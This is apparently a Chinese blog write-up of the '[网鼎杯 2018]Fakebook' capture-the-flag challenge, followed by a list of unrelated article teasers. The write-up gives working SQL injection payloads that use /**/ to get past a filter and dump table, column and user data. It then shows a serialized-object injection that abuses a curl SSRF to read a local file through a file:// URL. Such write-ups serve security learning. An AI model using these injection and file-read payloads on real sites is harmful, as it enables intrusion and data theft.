[网鼎杯 2018]Fakebook1
拿到题目后是一个博客的界面,这里可以登录和注册

点入登录界面,猜测可能是sql注入

试了很多次,都不是,也没有回显报错,所以把目光放到了注册上面

注册的其他行数据,差不多都可以乱填,只有一个blog项,估计是后台做了一些限制(必须包含某些字符之类的),随便填会报错

创建好点击博客进去后,在url栏会出现GET传参no = 2
可以尝试判断是否为注入点

一开始测试的是单引号闭合,但是它的回显时这样的,说明闭合符错误

因为出现上面的情况,所以猜测不是字符型注入,用了一点小方法,出现计算,说明是整数型注入

测试出,包含5个字段

当测试回显位时,该来的还是来了,有过滤

本来想看看是过滤了union还是select,结果单领出来都报语法错误,这里直接使用/**/代替空格,(union)select加括号也会报错
回显位是2

爆出数据库名称

注意注入语句的形式,如果把字段数放在后面会报错,爆出表名称
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

爆出user表中字段名称
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

查询字段所有数据,但是没有flag
no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users

只能查看wp了
得到关键信息,前面都没有注意这段报错信息,这里包含了一个反序列化函数,和一段路径,后面会用到
wp还提示说,扫描后台有文件

但是为毛我扫描不出来文件啊
直接用别人wp里面的访问吧,
访问robots.txt,获取到源码
<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}
这是一个 PHP 类的定义,名为 UserInfo。
该类有三个公共属性:$name,$age,$blog,分别表示用户的姓名、年龄和博客链接。
该类还有一个构造函数,用于初始化这三个属性的值。
此外,该类还有两个公共方法:getBlogContents() 和 isValidBlog()。
getBlogContents() 方法用于获取用户博客的内容,它通过调用 get() 方法实现。
isValidBlog() 方法用于验证用户提供的博客链接是否合法,它使用正则表达式进行判断。如果博客链接符合标准格式,则返回 true,否则返回 false。
function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}
主要是这里,贼长一篇的选项,把我看烦了,差点就放弃了
这是一个 PHP 代码段,它定义了一个名为 get 的函数,该函数使用 cURL 库来获取给定 URL 的内容并返回。
具体来说,该函数使用了 curl_init() 函数初始化一个 cURL 会话,curl可以用来请求web服务器
然后使用curl_setopt() 函数设置一些选项:
CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置,后面的$url变量就是它的值
CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。使用PHP curl获取页面内容或提交数据,有时候希望返回的内容作为变量储存,而不是直接输出。这个时候就必需设置curl的CURLOPT_RETURNTRANSFER选项为1或true。
curl_exec函数是执行curl对话,这里赋值给了$output
curl_getinfo — 获取一个cURL连接资源句柄的信息,因为设置了CURLINFO_HTTP_CODE所以是返回最后一个http状态码
如果状态码不是404,就返回exec的结果。
结合起来得出结论,以上代码存在ssrf和反序列化,当我们注册后,把我们的信息序列化一下,然后存进data。在user界面,取出blog,获取资源。
路径是之前注入的时候报错爆出来的,序列化值也不用自己生成,之前注入出来了,改长度和值就行
flag.php也是被扫描出来的
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"23";s:3:"age";i:12;s:4:"blog";s:27:"file:///var/www/html/flag.php";} '
可以看到回显页面的blog已经被更改,最后查看源码就能获得信息

这里就对应的blog的内容虽然经过了base64编码


相关文章:

[网鼎杯 2018]Fakebook1
拿到题目后是一个博客的界面,这里可以登录和注册 点入登录界面,猜测可能是sql注入 试了很多次,都不是,也没有回显报错,所以把目光放到了注册上面 注册的其他行数据,差不多都可以乱填,只有一个bl…...
Oracle-第一章-多表查询和其他
4多表关联查询 4.1表的别名 ①在多表关联查询时,如果多个表之间存在同名的列,则必须用表名限定列的引用如dept.deptno,emp.deptno ②为使语句简洁,使用表别名,表别名在from子句中定义如 emp e ③表别名一经定义,在整…...

Office Visio 2016安装
哈喽,大家好。今天一起学习的是Visio 2016的安装,这是一个绘制流程图的软件,用有效的绘图表达信息,比任何文字都更加形象和直观。Office Visio 是office软件系列中负责绘制流程图和示意图的软件,便于IT和商务人员就复杂…...
GPT从入门到精通之 GPT 模型入门及原理介绍
GPT 模型入门及原理介绍 如果你关心人工智能,并关注最新的自然语言处理技术,那么你可能听说过 GPT 模型。GPT(Generative Pre-trained Transformer)是 OpenAI [1] 研究团队开发的一种基于 Transformer 架构的模型,能够…...
USB数据线上的“疙瘩”
在不少键盘、鼠标或是游戏外设的数据线末端我们都能见到一小段金属圆环。虽然这算得上是习以为常的一个设计,但如果说到其具体作用的话很多人一下子还真回答不上来。反正笔者在这里先可以告诉大家,这货肯定不是简简单单的配重块或是装饰品,要…...

公司新来了个00后测开,上来一顿操作给我秀麻了.....
开年公司新来了个同事,听说大学是学的广告专业,因为喜欢IT行业就找了个培训班,后来在一家小公司实习半年,现在跳槽来我们公司。来了之后把现有项目的性能优化了一遍,服务器缩减一半,性能反而提升4倍!给公司…...

深度学习架构-Tensorflow
深度学习基本概念 人工智能是研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门新的技术科学。人工智能的目的 就是让计算机能够像人一样思考。 强人工智能:就是要使机器学习人的理解、学习和执行任务的能力。 弱人工智能:指用…...

SpringBoot 使用validator进行参数校验(实例操作+注意事项+自定义参数校验)
一、实例操作 ①、引入依赖 <dependency><groupId>org.hibernate</groupId><artifactId>hibernate-validator</artifactId><version>6.0.4.Final</version></dependency> ②、创建实体类 package com.springboot.entity;im…...

字节测开岗面试记:二面被血虐,幸好还是拿到了Offer.....
在互联网做了几年之后,去大厂“镀镀金”是大部分人的首选。大厂不仅待遇高、福利好,更重要的是,它是对你专业能力的背书,大厂工作背景多少会给你的简历增加几分竞争力。 但说实话,想进大厂还真没那么容易。最近面试字…...
只会标准答案,是不可救药的愚蠢
听说今天高考,谨以此文作为高考寄语。 前段时间网上看到一个金句,非常值得分享,“最难沟通的,不是那些头脑空空的人,而是满脑子只有标准答案的人”。 前两天直播我放了一首何勇的老歌,当时年轻的时候&#…...
RocketMQ broker启动失败
版本:4.9.3 现象:NameServer启动没问题,Broker无法启动。 查看日志,没有broker方面的报错,应该是整个服务都没起来。 于是开始网上搜索解决方案: 方案1: 删除store文件夹。 删除之后问题依…...
浅谈useMemo函数
什么是 useMemo? useMemo 是 React 中的一个 Hook,它可以用来缓存计算结果,并在后续的渲染中重复利用这些计算结果。useMemo 接收两个参数:一个函数和一个依赖数组。当依赖数组中的任何一个值发生变化时,useMemo 会重…...
【Python】Python系列教程-- Python3 推导式(十九)
文章目录 前言列表推导式字典推导式集合推导式元组推导式(生成器表达式) 前言 往期回顾: Python系列教程–Python3介绍(一)Python系列教程–Python3 环境搭建(二)Python系列教程–Python3 VSc…...

docker对cpu资源做限制
系列文章目录 文章目录 系列文章目录一、cgroup1.groups四大功能2.CPU 资源控制 二、1.限制可用的 swap 大小, --memory-swap2.对磁盘IO配额控制(blkio)的限制 总结 一、cgroup 1.groups四大功能 资源限制:可以对任务使用的资源…...

国际化语言项目
基本概念 1、使用QString对象表示所有用户可见的文本。由于QString内部使用Unicode编码实现,所以它可以用 于表示所有需要向用户呈现的文本。当然,对于仅程序员可见的文本并不需要都变为QString对象,可利 用Qt提供的QCString或原始的“char …...

交直流系统潮流计算及相互关联特性分析(Matlab代码实现)
💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…...

如何快速掌握Facebook运营+独立站运营基础?
在当今数字化时代,Facebook运营和独立站运营成为许多企业和个人创业者的关键战略。通过巧妙地结合这两个渠道,你可以有效地推广品牌、吸引目标受众并实现商业目标。本文将为你介绍如何快速掌握Facebook运营和独立站运营的基础知识,为你的业务…...
Java之旅(十三)
Java 类 Java类是Java编程语言中的基本构建块,是一种用户定义的数据类型,它可以被看作是一个模板或蓝图。它是对象的模板,,描述了一组具有相同特征(属性)和行为(方法)的对象。Java …...

Calibre 6.18.1 正式发布,功能强大的开源电子书工具
导读Calibre 开源项目是 Calibre 官方出的电子书管理工具。它可以查看,转换,编辑和分类所有主流格式的电子书。Calibre 是个跨平台软件,可以在 Linux、Windows 和 macOS 上运行。 Calibre 6.18.1 正式发布,此次更新内容如下&#…...
如何在C语言中定义和使用函数?
如何在C语言中定义和使用函数? 引言: 函数是C语言中的一个重要概念,它使程序能够模块化、重用和组织代码。通过将一段逻辑相关的代码封装到函数中,我们可以提高代码的可读性、可维护性和重用性。本文将详细介绍在C语言中定义和使…...
k8s从入门到放弃之Ingress七层负载
k8s从入门到放弃之Ingress七层负载 在Kubernetes(简称K8s)中,Ingress是一个API对象,它允许你定义如何从集群外部访问集群内部的服务。Ingress可以提供负载均衡、SSL终结和基于名称的虚拟主机等功能。通过Ingress,你可…...

Day131 | 灵神 | 回溯算法 | 子集型 子集
Day131 | 灵神 | 回溯算法 | 子集型 子集 78.子集 78. 子集 - 力扣(LeetCode) 思路: 笔者写过很多次这道题了,不想写题解了,大家看灵神讲解吧 回溯算法套路①子集型回溯【基础算法精讲 14】_哔哩哔哩_bilibili 完…...
HTML前端开发:JavaScript 常用事件详解
作为前端开发的核心,JavaScript 事件是用户与网页交互的基础。以下是常见事件的详细说明和用法示例: 1. onclick - 点击事件 当元素被单击时触发(左键点击) button.onclick function() {alert("按钮被点击了!&…...
Python 训练营打卡 Day 47
注意力热力图可视化 在day 46代码的基础上,对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...

【无标题】湖北理元理律师事务所:债务优化中的生活保障与法律平衡之道
文/法律实务观察组 在债务重组领域,专业机构的核心价值不仅在于减轻债务数字,更在于帮助债务人在履行义务的同时维持基本生活尊严。湖北理元理律师事务所的服务实践表明,合法债务优化需同步实现三重平衡: 法律刚性(债…...

嵌入式学习之系统编程(九)OSI模型、TCP/IP模型、UDP协议网络相关编程(6.3)
目录 一、网络编程--OSI模型 二、网络编程--TCP/IP模型 三、网络接口 四、UDP网络相关编程及主要函数 编辑编辑 UDP的特征 socke函数 bind函数 recvfrom函数(接收函数) sendto函数(发送函数) 五、网络编程之 UDP 用…...
React从基础入门到高级实战:React 实战项目 - 项目五:微前端与模块化架构
React 实战项目:微前端与模块化架构 欢迎来到 React 开发教程专栏 的第 30 篇!在前 29 篇文章中,我们从 React 的基础概念逐步深入到高级技巧,涵盖了组件设计、状态管理、路由配置、性能优化和企业级应用等核心内容。这一次&…...

goreplay
1.github地址 https://github.com/buger/goreplay 2.简单介绍 GoReplay 是一个开源的网络监控工具,可以记录用户的实时流量并将其用于镜像、负载测试、监控和详细分析。 3.出现背景 随着应用程序的增长,测试它所需的工作量也会呈指数级增长。GoRepl…...

深入解析光敏传感技术:嵌入式仿真平台如何重塑电子工程教学
一、光敏传感技术的物理本质与系统级实现挑战 光敏电阻作为经典的光电传感器件,其工作原理根植于半导体材料的光电导效应。当入射光子能量超过材料带隙宽度时,价带电子受激发跃迁至导带,形成电子-空穴对,导致材料电导率显著提升。…...
算法刷题-回溯
今天给大家分享的还是一道关于dfs回溯的问题,对于这类问题大家还是要多刷和总结,总体难度还是偏大。 对于回溯问题有几个关键点: 1.首先对于这类回溯可以节点可以随机选择的问题,要做mian函数中循环调用dfs(i&#x…...